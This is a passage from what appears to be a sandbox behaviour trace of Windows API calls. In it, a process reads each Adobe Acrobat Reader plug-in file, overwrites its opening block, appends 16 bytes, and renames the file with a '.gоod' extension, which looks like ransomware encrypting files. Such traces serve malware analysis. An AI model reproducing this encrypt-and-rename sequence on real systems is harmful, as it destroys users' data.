(x86)\\adobe\\acrobat reader dc\\reader\\plug_ins\\search.api"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0099.462] GetFileType (hFile=0x768) returned 0x1 [0099.463] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35be30) returned 1 [0099.463] GetFileType (hFile=0x768) returned 0x1 [0099.463] ReadFile (in: hFile=0x768, lpBuffer=0x37496e0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f35bf98, lpOverlapped=0x0 | out: lpBuffer=0x37496e0*, lpNumberOfBytesRead=0x1f35bf98*=0x1000, lpOverlapped=0x0) returned 1 [0099.528] CloseHandle (hObject=0x768) returned 1 [0099.528] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Search.api", nBufferLength=0x105, lpBuffer=0x1f35b9a0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Search.api", lpFilePart=0x0) returned 0x49 [0099.528] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35bec0) returned 1 [0099.528] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Search.api" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\plug_ins\\search.api"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0099.528] GetFileType (hFile=0x768) returned 0x1 [0099.528] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35be30) returned 1 [0099.529] GetFileType (hFile=0x768) returned 0x1 [0099.529] WriteFile (in: hFile=0x768, lpBuffer=0x3748438*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f35c048, lpOverlapped=0x0 | out: lpBuffer=0x3748438*, lpNumberOfBytesWritten=0x1f35c048*=0x1010, lpOverlapped=0x0) returned 1 [0099.529] CloseHandle (hObject=0x768) returned 1 [0099.529] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Search.api", nBufferLength=0x105, lpBuffer=0x1f35baf0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Search.api", lpFilePart=0x0) returned 0x49 [0099.529] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Search.api.gоod", nBufferLength=0x105, lpBuffer=0x1f35baf0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Search.api.gоod", lpFilePart=0x0) returned 0x4e [0099.529] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35bf80) returned 1 [0099.529] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Search.api" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\plug_ins\\search.api"), fInfoLevelId=0x0, lpFileInformation=0x1f35c060 | out: lpFileInformation=0x1f35c060*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xe2df53af, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3789214f, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x69473)) returned 1 [0099.529] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35bf40) returned 1 [0099.529] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Search.api" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\plug_ins\\search.api"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Search.api.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\plug_ins\\search.api.gоod")) returned 1 [0099.530] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\SendMail.api", nBufferLength=0x105, lpBuffer=0x1f35baf0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\SendMail.api", lpFilePart=0x0) returned 0x4b [0099.530] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35bfc0) returned 1 [0099.530] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\SendMail.api" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\plug_ins\\sendmail.api"), fInfoLevelId=0x0, lpFileInformation=0x3845cb0 | out: lpFileInformation=0x3845cb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xe067842e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x1d1663)) returned 1 [0099.530] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35bf80) returned 1 [0099.530] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\SendMail.api", nBufferLength=0x105, lpBuffer=0x1f35b9a0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\SendMail.api", lpFilePart=0x0) returned 0x4b [0099.530] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35bec0) returned 1 [0099.530] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\SendMail.api" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\plug_ins\\sendmail.api"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0099.530] GetFileType (hFile=0x768) returned 0x1 [0099.530] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35be30) returned 1 [0099.530] GetFileType (hFile=0x768) returned 0x1 [0099.530] SetFilePointer (in: hFile=0x768, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f35c018*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f35c018*=0) returned 0x1000 [0099.531] ReadFile (in: hFile=0x768, lpBuffer=0x38460d8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f35bfe8, lpOverlapped=0x0 | out: lpBuffer=0x38460d8*, lpNumberOfBytesRead=0x1f35bfe8*=0x1000, lpOverlapped=0x0) returned 1 [0099.618] CloseHandle (hObject=0x768) returned 1 [0099.895] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\SendMail.api", nBufferLength=0x105, lpBuffer=0x1f35b9a0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\SendMail.api", lpFilePart=0x0) returned 0x4b [0099.895] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35bec0) returned 1 [0099.896] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\SendMail.api" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\plug_ins\\sendmail.api"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c8 [0100.744] GetFileType (hFile=0x7c8) returned 0x1 [0100.744] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35be30) returned 1 [0100.744] GetFileType (hFile=0x7c8) returned 0x1 [0100.744] SetFilePointer (in: hFile=0x7c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f35c018*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f35c018*=0) returned 0x1d1663 [0100.745] WriteFile (in: hFile=0x7c8, lpBuffer=0x357a6f8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f35bf08, lpOverlapped=0x0 | out: lpBuffer=0x357a6f8*, lpNumberOfBytesWritten=0x1f35bf08*=0x10, lpOverlapped=0x0) returned 1 [0100.780] CloseHandle (hObject=0x7c8) returned 1 [0100.781] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\SendMail.api", nBufferLength=0x105, lpBuffer=0x1f35b9a0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\SendMail.api", lpFilePart=0x0) returned 0x4b [0100.781] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35bec0) returned 1 [0100.781] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\SendMail.api" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\plug_ins\\sendmail.api"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c8 [0100.781] GetFileType (hFile=0x7c8) returned 0x1 [0100.781] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35be30) returned 1 [0100.781] GetFileType (hFile=0x7c8) returned 0x1 [0100.781] ReadFile (in: hFile=0x7c8, lpBuffer=0x35fc3c8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f35bf98, lpOverlapped=0x0 | out: lpBuffer=0x35fc3c8*, lpNumberOfBytesRead=0x1f35bf98*=0x1000, lpOverlapped=0x0) returned 1 [0100.811] CloseHandle (hObject=0x7c8) returned 1 [0100.811] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\SendMail.api", nBufferLength=0x105, lpBuffer=0x1f35b9a0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\SendMail.api", lpFilePart=0x0) returned 0x4b [0100.812] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35bec0) returned 1 [0100.812] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\SendMail.api" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\plug_ins\\sendmail.api"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c8 [0100.812] GetFileType (hFile=0x7c8) returned 0x1 [0100.812] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35be30) returned 1 [0100.812] GetFileType (hFile=0x7c8) returned 0x1 [0100.812] WriteFile (in: hFile=0x7c8, lpBuffer=0x35fb118*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f35c048, lpOverlapped=0x0 | out: lpBuffer=0x35fb118*, lpNumberOfBytesWritten=0x1f35c048*=0x1010, lpOverlapped=0x0) returned 1 [0100.812] CloseHandle (hObject=0x7c8) returned 1 [0100.812] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\SendMail.api", nBufferLength=0x105, lpBuffer=0x1f35baf0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\SendMail.api", lpFilePart=0x0) returned 0x4b [0100.812] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\SendMail.api.gоod", nBufferLength=0x105, lpBuffer=0x1f35baf0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\SendMail.api.gоod", lpFilePart=0x0) returned 0x50 [0100.812] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35bf80) returned 1 [0100.812] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\SendMail.api" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\plug_ins\\sendmail.api"), fInfoLevelId=0x0, lpFileInformation=0x1f35c060 | out: lpFileInformation=0x1f35c060*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xe067842e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x384e497e, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x1d1673)) returned 1 [0100.812] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35bf40) returned 1 [0100.812] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\SendMail.api" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\plug_ins\\sendmail.api"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\SendMail.api.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\plug_ins\\sendmail.api.gоod")) returned 1 [0100.813] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Spelling.api", nBufferLength=0x105, lpBuffer=0x1f35baf0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Spelling.api", lpFilePart=0x0) returned 0x4b [0100.813] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35bfc0) returned 1 [0100.813] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Spelling.api" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\plug_ins\\spelling.api"), fInfoLevelId=0x0, lpFileInformation=0x367a108 | out: lpFileInformation=0x367a108*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdfad8cb5, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x4a463)) returned 1 [0101.281] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35bf80) returned 1 [0101.282] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Spelling.api", nBufferLength=0x105, lpBuffer=0x1f35b9a0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Spelling.api", lpFilePart=0x0) returned 0x4b [0101.282] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35bec0) returned 1 [0101.350] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Spelling.api" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\plug_ins\\spelling.api"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c8 [0101.420] GetFileType (hFile=0x7c8) returned 0x1 [0101.421] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35be30) returned 1 [0101.421] GetFileType (hFile=0x7c8) returned 0x1 [0101.421] SetFilePointer (in: hFile=0x7c8, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f35c018*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f35c018*=0) returned 0x1000 [0101.421] ReadFile (in: hFile=0x7c8, lpBuffer=0x341a930, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f35bfe8, lpOverlapped=0x0 | out: lpBuffer=0x341a930*, lpNumberOfBytesRead=0x1f35bfe8*=0x1000, lpOverlapped=0x0) returned 1 [0101.422] CloseHandle (hObject=0x7c8) returned 1 [0101.422] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Spelling.api", nBufferLength=0x105, lpBuffer=0x1f35b9a0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Spelling.api", lpFilePart=0x0) returned 0x4b [0101.422] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35bec0) returned 1 [0101.422] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Spelling.api" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\plug_ins\\spelling.api"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c8 [0101.423] GetFileType (hFile=0x7c8) returned 0x1 [0101.423] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35be30) returned 1 [0101.423] GetFileType (hFile=0x7c8) returned 0x1 [0101.423] SetFilePointer (in: hFile=0x7c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f35c018*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f35c018*=0) returned 0x4a463 [0101.423] WriteFile (in: hFile=0x7c8, lpBuffer=0x341bdb8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f35bf08, lpOverlapped=0x0 | out: lpBuffer=0x341bdb8*, lpNumberOfBytesWritten=0x1f35bf08*=0x10, lpOverlapped=0x0) returned 1 [0101.425] CloseHandle (hObject=0x7c8) returned 1 [0101.425] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Spelling.api", nBufferLength=0x105, lpBuffer=0x1f35b9a0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Spelling.api", lpFilePart=0x0) returned 0x4b [0101.425] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35bec0) returned 1 [0101.425] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Spelling.api" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\plug_ins\\spelling.api"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c8 [0101.425] GetFileType (hFile=0x7c8) returned 0x1 [0101.425] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35be30) returned 1 [0101.425] GetFileType (hFile=0x7c8) returned 0x1 [0101.425] ReadFile (in: hFile=0x7c8, lpBuffer=0x341e0f0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f35bf98, lpOverlapped=0x0 | out: lpBuffer=0x341e0f0*, lpNumberOfBytesRead=0x1f35bf98*=0x1000, lpOverlapped=0x0) returned 1 [0101.453] CloseHandle (hObject=0x7c8) returned 1 [0101.453] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Spelling.api", nBufferLength=0x105, lpBuffer=0x1f35b9a0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Spelling.api", lpFilePart=0x0) returned 0x4b [0101.453] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35bec0) returned 1 [0101.454] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Spelling.api" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\plug_ins\\spelling.api"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c8 [0101.454] GetFileType (hFile=0x7c8) returned 0x1 [0101.454] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35be30) returned 1 [0101.454] GetFileType (hFile=0x7c8) returned 0x1 [0101.454] WriteFile (in: hFile=0x7c8, lpBuffer=0x341ce40*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f35c048, lpOverlapped=0x0 | out: lpBuffer=0x341ce40*, lpNumberOfBytesWritten=0x1f35c048*=0x1010, lpOverlapped=0x0) returned 1 [0101.454] CloseHandle (hObject=0x7c8) returned 1 [0101.454] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Spelling.api", nBufferLength=0x105, lpBuffer=0x1f35baf0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Spelling.api", lpFilePart=0x0) returned 0x4b [0101.454] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Spelling.api.gоod", nBufferLength=0x105, lpBuffer=0x1f35baf0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Spelling.api.gоod", lpFilePart=0x0) returned 0x50 [0101.454] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35bf80) returned 1 [0101.454] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Spelling.api" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\plug_ins\\spelling.api"), fInfoLevelId=0x0, lpFileInformation=0x1f35c060 | out: lpFileInformation=0x1f35c060*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdfad8cb5, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x38b007c0, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x4a473)) returned 1 [0101.454] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35bf40) returned 1 [0101.454] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Spelling.api" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\plug_ins\\spelling.api"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Spelling.api.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\plug_ins\\spelling.api.gоod")) returned 1 [0101.455] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\StorageConnectors.api", nBufferLength=0x105, lpBuffer=0x1f35baf0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\StorageConnectors.api", lpFilePart=0x0) returned 0x54 [0101.455] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35bfc0) returned 1 [0101.455] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\StorageConnectors.api" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\plug_ins\\storageconnectors.api"), fInfoLevelId=0x0, lpFileInformation=0x349a6c8 | out: lpFileInformation=0x349a6c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcbb0b100, ftCreationTime.dwHighDateTime=0x1d36777, ftLastAccessTime.dwLowDateTime=0xda6f4116, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xcbb0b100, ftLastWriteTime.dwHighDateTime=0x1d36777, nFileSizeHigh=0x0, nFileSizeLow=0x4d663)) returned 1 [0101.455] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35bf80) returned 1 [0101.455] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\StorageConnectors.api", nBufferLength=0x105, lpBuffer=0x1f35b9a0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\StorageConnectors.api", lpFilePart=0x0) returned 0x54 [0101.455] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35bec0) returned 1 [0101.455] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\StorageConnectors.api" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\plug_ins\\storageconnectors.api"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c8 [0101.456] GetFileType (hFile=0x7c8) returned 0x1 [0101.456] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35be30) returned 1 [0101.456] GetFileType (hFile=0x7c8) returned 0x1 [0101.456] SetFilePointer (in: hFile=0x7c8, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f35c018*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f35c018*=0) returned 0x1000 [0101.456] ReadFile (in: hFile=0x7c8, lpBuffer=0x349ab40, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f35bfe8, lpOverlapped=0x0 | out: lpBuffer=0x349ab40*, lpNumberOfBytesRead=0x1f35bfe8*=0x1000, lpOverlapped=0x0) returned 1 [0102.185] CloseHandle (hObject=0x7c8) returned 1 [0102.185] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\StorageConnectors.api", nBufferLength=0x105, lpBuffer=0x1f35b9a0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\StorageConnectors.api", lpFilePart=0x0) returned 0x54 [0102.186] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35bec0) returned 1 [0102.186] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\StorageConnectors.api" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\plug_ins\\storageconnectors.api"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c8 [0102.186] GetFileType (hFile=0x7c8) returned 0x1 [0102.186] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35be30) returned 1 [0102.186] GetFileType (hFile=0x7c8) returned 0x1 [0102.186] SetFilePointer (in: hFile=0x7c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f35c018*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f35c018*=0) returned 0x4d663 [0102.186] WriteFile (in: hFile=0x7c8, lpBuffer=0x3592aa0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f35bf08, lpOverlapped=0x0 | out: lpBuffer=0x3592aa0*, lpNumberOfBytesWritten=0x1f35bf08*=0x10, lpOverlapped=0x0) returned 1 [0102.188] CloseHandle (hObject=0x7c8) returned 1 [0102.188] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\StorageConnectors.api", nBufferLength=0x105, lpBuffer=0x1f35b9a0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\StorageConnectors.api", lpFilePart=0x0) returned 0x54 [0102.189] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35bec0) returned 1 [0102.189] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader 